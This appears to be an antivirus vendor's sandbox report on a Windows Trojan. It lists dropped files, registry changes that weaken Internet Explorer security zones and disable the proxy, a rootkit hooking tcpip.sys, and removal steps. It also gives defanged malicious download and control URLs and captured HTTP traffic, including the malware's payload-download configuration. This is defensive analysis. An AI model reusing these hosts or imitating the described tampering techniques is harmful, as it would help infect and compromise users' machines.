Gen.Variant.Graftor.104958_1029a36935

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1612
bv.exe:464
7048ico.exe:1096
comdhost.exe:424

The Trojan injects its code into the following process(es):

300084.exe:256

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1612 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\E_4\krnln.fnr (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\smss.exe (6435 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bv.exe (1784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\E_4\shell.fne (57 bytes)

The process bv.exe:464 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\byteFirewall.dat (253 bytes)

The process 7048ico.exe:1096 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\2015040604\userconfig.ini (22 bytes)
%WinDir%\2015040604\config.ini (22 bytes)
%WinDir%\2015040604\svchost.exe (2105 bytes)
%System%\filelog.dat (24 bytes)

The process comdhost.exe:424 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\fsq.exe (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\mssrv.exe (38495 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\config[1].xml (617 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\downt\nclound32.zip (78548 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\config.ini (13 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\common[1].zip (196738 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\plusconfig.xml (617 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\kjt_qt.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\brocount.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\kjqt[1].zip (5979 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\svchost.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\downt\kjqt.zip (3945 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\mp.exe (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\appboot.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\lockmp.dll (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\FC[1].zip (7311 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\TT2[1].zip (34919 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\MainCtrl[1].xml (2457 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\downt\FC.zip (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\FC.exe (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\nclound32[1].zip (124172 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\downt\TT2.zip (17429 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\mainpage32[1].zip (14971 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\downt\AplusFile.bt (1136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\kjtqt.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\lsass.exe (12088 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\downt\mainpage32.zip (5733 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\downt\common.zip (130989 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\ProjPack.xml (1701 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\appeight.exe (56684 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\ProjPack.xml (0 bytes)

Registry activity

The process %original file name%.exe:1612 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "12 0E B0 DC C8 12 71 5E 22 5F DE A4 C4 DB 6E 18"

The process bv.exe:464 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F3 7A E7 B2 35 A7 1B F5 B9 E2 38 71 F4 CE 77 8E"

The process 7048ico.exe:1096 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D4 FC 3D 27 FF 85 4F 32 EA 27 29 91 3B 95 74 79"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:\windows\2015040604]
"svchost.exe" = "2015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process comdhost.exe:424 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 34 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "50 CF 63 BA 05 25 F3 2A A9 71 B2 1B 40 3E 92 F7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
97c8fe752e354b2945e4c593a87e4a8b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\E_4\krnln.fnr
d63851f89c7ad4615565ca300e8b8e27	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\E_4\shell.fne
11696f334778bda9231aa6b72bbcdaf7	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\E_N4\krnln.fnr
bfa0b913e4067706b8f2746d51caac44	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bv.exe
3ed32c6b3a6794a7ee6223aef4670b5d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\smss.exe
cf0611524894bb6d0a64a8e157846efd	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\comdhost.exe
4de3914c7921c9d382d5d73ffc5f55cb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\msvcr32.dll
1ddf4cc1188804e8670e9ca6139c2fed	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\szicoad[1].exe
103909a23b5ac9774471b315d373fc06	c:\WINDOWS\2015040604\TCP-2015040604.dll
1ddf4cc1188804e8670e9ca6139c2fed	c:\WINDOWS\2015040604\svchost.exe
14e87fff8fa466a7b829c65cc12fb35f	c:\WINDOWS\system\7048ico.exe
33579f370aeb1237a9282b51eacb6d34	c:\WINDOWS\system\svchost.exe
fa682e642f66964cfddaa86b938d6694	c:\byteFirewall.dat

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\C:\byteFirewall.dat" the Trojan substitutes IRP handlers to control devices of tcpip.sys driver:

MJ_CREATE
MJ_CREATE_NAMED_PIPE
MJ_CLOSE
MJ_READ
MJ_WRITE
MJ_QUERY_INFORMATION
MJ_SET_INFORMATION
MJ_QUERY_EA
MJ_SET_EA
MJ_FLUSH_BUFFERS
MJ_QUERY_VOLUME_INFORMATION
MJ_SET_VOLUME_INFORMATION
MJ_DIRECTORY_CONTROL
MJ_FILE_SYSTEM_CONTROL
MJ_DEVICE_CONTROL
MJ_INTERNAL_DEVICE_CONTROL
MJ_SHUTDOWN
MJ_LOCK_CONTROL
MJ_CLEANUP
MJ_CREATE_MAILSLOT
MJ_QUERY_SECURITY
MJ_SET_SECURITY
MJ_POWER
MJ_SYSTEM_CONTROL
MJ_DEVICE_CHANGE
MJ_QUERY_QUOTA
MJ_SET_QUOTA

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:1612
   bv.exe:464
   7048ico.exe:1096
   comdhost.exe:424
   

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\E_4\krnln.fnr (5442 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\smss.exe (6435 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\bv.exe (1784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\E_4\shell.fne (57 bytes)
   C:\byteFirewall.dat (253 bytes)
   %WinDir%\2015040604\userconfig.ini (22 bytes)
   %WinDir%\2015040604\config.ini (22 bytes)
   %WinDir%\2015040604\svchost.exe (2105 bytes)
   %System%\filelog.dat (24 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\fsq.exe (3312 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\mssrv.exe (38495 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\config[1].xml (617 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\downt\nclound32.zip (78548 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\config.ini (13 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\common[1].zip (196738 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\plusconfig.xml (617 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\kjt_qt.exe (2392 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\brocount.exe (2392 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\kjqt[1].zip (5979 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\svchost.exe (4992 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\downt\kjqt.zip (3945 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\mp.exe (3312 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\appboot.exe (2392 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\lockmp.dll (11344 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\FC[1].zip (7311 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\TT2[1].zip (34919 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\MainCtrl[1].xml (2457 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\downt\FC.zip (45 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\FC.exe (3312 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\nclound32[1].zip (124172 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\downt\TT2.zip (17429 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\mainpage32[1].zip (14971 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\downt\AplusFile.bt (1136 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\kjtqt.exe (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\lsass.exe (12088 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\downt\mainpage32.zip (5733 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\downt\common.zip (130989 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\ProjPack.xml (1701 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\{8E418BF4-4A70-45ce-BDE7-9E28D88292DD}\appeight.exe (56684 bytes)

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	19868	20480	4.51528	15c1f09b5a84212473d3312136f61984
.rdata	24576	2634	4096	2.46987	c3a429c9401d144a06bbf6c66f26e739
.data	28672	8024	8192	1.98312	391dfe9979de8fe0fe40df3f14303242
.ecode	36864	4096	4096	3.11561	dd0555631ceaf30c86b63ebb73afd81f
.rsrc	40960	928	4096	1.08643	654c64e0942f056dece224a875c0f5c8

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://ipaddress.wb916.com/IP.aspx	180.97.81.86
hxxp://a767.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootseq.txt
hxxp://a767.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab
hxxp://oss-cn-beijing-sandbox-2.ossuser.aliyuncs.com/server/server.txt
hxxp://cdct.zhdns.net/proj/BackEnd.ini
hxxp://cdct.zhdns.net/m137390001.xml
hxxp://ddkj04.oss-cn-hangzhou.aliyuncs.com/updata/adclient/client/szicoad.exe
hxxp://cdct.zhdns.net/proj/BackEnd32.zip
hxxp://cdct.zhdns.net/config.xml
hxxp://cdct.zhdns.net/proj/MainCtrl.xml
hxxp://pubyun.s.3322.net/dyndns/getip
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootseq.txt	87.245.221.113
hxxp://domain.awangba.com.cn/proj/MainCtrl.xml	58.218.211.249
hxxp://domain.awangba.com.cn/proj/BackEnd.ini	58.218.211.249
hxxp://down04.kuaibu8.com/updata/adclient/client/szicoad.exe	112.124.219.90
hxxp://www.3322.org/dyndns/getip	118.184.176.15
hxxp://down.awangba.com.cn/proj/BackEnd32.zip	122.226.181.115
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab	87.245.221.113
hxxp://user.awangba.com.cn/m137390001.xml	122.226.102.76
hxxp://domain.awangba.com.cn/config.xml	58.218.211.249
hxxp://gengxin.kuaibu8.com/server/server.txt	182.92.18.11
tongji.wangbax.cn	115.28.38.37
www.kuaibu8.com	180.97.81.86

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Content-Type: text/plain

Last-Modified: Fri, 20 Feb 2015 20:14:50 GMT

Accept-Ranges: bytes

ETag: "05934e1494dd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 18

Cache-Control: max-age=10437

Date: Mon, 06 Apr 2015 01:53:24 GMT

Connection: keep-alive

X-CCC: ES

X-CID: 2

1401D04D49E16F8687....

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Tue, 24 Feb 2015 00:36:45 GMT

Accept-Ranges: bytes

ETag: "804c50f7c94fd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 49859

Cache-Control: max-age=10786

Date: Mon, 06 Apr 2015 01:53:24 GMT

Connection: keep-alive

X-CCC: ES

X-CID: 2

MSCF............,...................I.......#.........WFw. .authroot.stl.....08..CK...<.......m..dK.......D.d'....fW...RJe.).."...n.Ie.,E.RH...L....\...z.^...p.<g.9...~...=.d/.. ...H....8f|&x.N.d..p(....(....g.@ga0..4...E(.p`d. .....D.....g%.j..w.DF..GW .....*.@6....#.8....v..=T..^.G.G.!.A........_...r..3n...G.g\_.r.....Au..sw.3.....G.f. ..0..0.^.R".K|.....y...l..1.......t.(...0Y......4.,......x..ENY.`d..O.....!..9A~....^...H.2.-.jK.r.....m.q.....5.@.r...@....A.B.....e...x.).|.H...A.[.Q. D`.}YQvx.B`b.=....,X...-.5S..N..=x.....C.Mj^.H....5b...5........I...`..... ..l.n.:.....j...u2gA.hx.`%K.bw...\!o.........R....=..*...w..J....q.?^.PuA..W...>.._..O......9|.../......m.E.u.d...J2.U.e?....}h.S.zC^...<.c)...^c.b}.2..'X567.!.h. ......5.......S*.z%..%..e...R...C#p..k.[...3...jI.<.Z.GX.u.- ....ut{.&>...:.......f...f.)y.....5.../R.b.......r.!.4.-a.....!...P......Q'7.0.%[.~m_..v....;..:.X..~...,.......O....u|T.L....w....)5.bBs..W..r..u.......W......'G......y...h.. %. z?..............f.Nx./c...R...`..y.>....'......l=.O..#......... ..P..Q.......3.............M......%...v.:(...u..zU......G_.<ue...F.....6Xo......P.......@L#........4<....K.g:...3o.N..:..zb...5..,.5...C... .4..`Q0.....$9./.$1....WL)$.0F......^..k..D.*.#.L3. (}.,,.kd.<W.....[,.....Y.n.b.....4.Y)...c.g..`.y.........X..I? '.{Cb.GDh.d..F..2B...sT.^..!.L..}.P....C...?.......~.....d....5.j...1.y9^_K..g..pX.......^z.e)....yc......?..o...e......KJ..H.O..m......B27....?.~m ..xt...c...@b..S.......a(....f1...h.0.u4..(.........2b`....]..H.Ja..

<<< skipped >>>

GET /config.xml HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: domain.awangba.com.cn

Connection: Keep-Alive

HTTP/1.0 200 OK

Content-Type: text/xml; charset=utf-8

Content-Length: 617

Last-Modified: Wed, 21 Jan 2015 07:59:49 GMT

Accept-Ranges: bytes

Server: nginx

Date: Sun, 05 Apr 2015 08:32:08 GMT

ETag: "54bf5c75-269"

Age: 62667

X-Cache: HIT from ctjsxzs1

Via: 1.0 ctjsxzs1 (squid)

Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>..<Config>.. <UpUrl>.. <MainPageID></MainPageID>.. <ycgg>*.059jxw.com@*.777tttkkk.com@*.changduanxue.com@*.jia665511.com@*.okok77889.com</ycgg>.. </UpUrl>...<BlackUrl>about:Tabs@about:blank@file:*@*.shunwang.com*@*.google.com*@*.baidu.com*@*.gov.cn@*.58qh.com@111.113.6.21@*.yxeram.org@*.yxera.org@*.yxera.net@192.168.*@*gonggao.icafe8.net*@*xd.xoyo.com*</BlackUrl>...<OutGameUrl>hXXp://tz.awangba.com.cn/uimg1.htm@hXXp://VVV.baidu.com@hXXp://VVV.sina.com@hXXp://VVV.163.com</OutGameUrl>...<TestUser>*</TestUser>...<MainPageWhite></MainPageWhite>..</Config>..HTTP/1.0 200 OK..Content-Type: text/xml; charset=utf-8..Content-Length: 617..Last-Modified: Wed, 21 Jan 2015 07:59:49 GMT..Accept-Ranges: bytes..Server: nginx..Date: Sun, 05 Apr 2015 08:32:08 GMT..ETag: "54bf5c75-269"..Age: 62667..X-Cache: HIT from ctjsxzs1..Via: 1.0 ctjsxzs1 (squid)..Connection: keep-alive..<?xml version="1.0" encoding="UTF-8"?>..<Config>.. <UpUrl>.. <MainPageID></MainPageID>.. <ycgg>*.059jxw.com@*.777tttkkk.com@*.changduanxue.com@*.jia665511.com@*.okok77889.com</ycgg>.. </UpUrl>...<BlackUrl>about:Tabs@about:blank@file:*@*.shunwang.com*@*.google.com*@*.baidu.com*@*.gov.cn@*.58qh.com@111.113.6.21@*.yxeram.org@*.yxera.org@*.yxera.net@192.168.*@*gonggao.icafe8.net*@*xd.xoyo.com*</BlackUrl>...<OutGameUrl>htt

<<< skipped >>>

GET /proj/MainCtrl.xml HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: domain.awangba.com.cn

Connection: Keep-Alive

HTTP/1.0 200 OK

Content-Type: text/xml; charset=utf-8

Content-Length: 4337

Last-Modified: Fri, 03 Apr 2015 03:12:39 GMT

Accept-Ranges: bytes

Server: nginx

Date: Sun, 05 Apr 2015 05:05:29 GMT

ETag: "551e0527-10f1"

Age: 75067

X-Cache: HIT from ctjsxzs1

Via: 1.0 ctjsxzs1 (squid)

Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>..<FileDown>...<item name="common" type="Common">....<sys type="all">.....<file>common.zip</file>.....<down>hXXp://down.awangba.com.cn/proj/common.zip</down>.....<md5>116C3295FF8726952963A5774637B309</md5>.....<param>appboot.exe</param>....</sys>...</item>......<item name="new" type="SGTS">....<sys type="x86">.....<file>sgts.zip</file>.....<down>hXXp://down.awangba.com.cn/proj/sgts.zip</down>.....<md5>FC538737F7D79ACB274CE860194614A3</md5>.....<param>sgts.exe</param>....</sys>...</item>...<item name="gda" type="GDA">....<sys type="x86">.....<file>PtsGPU32.zip</file>.....<down>hXXp://down.awangba.com.cn/proj/PtsGPU32.zip</down>.....<md5>6556006F549C0AE154AE60694D5242E2</md5>.....<param>PtsGPU.exe</param>....</sys>....<sys type="x64">.....<file>PtsGPU64.zip</file>.....<down>hXXp://down.awangba.com.cn/proj/PtsGPU64.zip</down>.....<md5>AA9328656593D9D174CC5BDF07687807</md5>.....<param>PtsGPU.exe</param>....</sys>...</item>.. ...<item name="neda,eda,ChannelEda" type="EDA">....<sys type="x86">.....<file>nclound32.zip</file>.....<down>hXXp://down.awangba.com.cn/proj/nclound32.zip</down>.....<md5>41FE0E8A5A889DB45241081868D75407</md5>.....<param&

<<< skipped >>>

GET /m137390001.xml HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: user.awangba.com.cn

Connection: Keep-Alive

HTTP/1.0 200 OK

Server: nginx

Date: Fri, 27 Mar 2015 20:46:54 GMT

Content-Type: text/xml; charset=utf-8

Content-Length: 462

Last-Modified: Fri, 27 Mar 2015 09:41:55 GMT

ETag: "551525e3-1ce"

Accept-Ranges: bytes

Age: 70720

X-Cache: HIT from ctzjjhs1

Via: 1.0 ctzjjhs1 (squid)

Connection: keep-alive

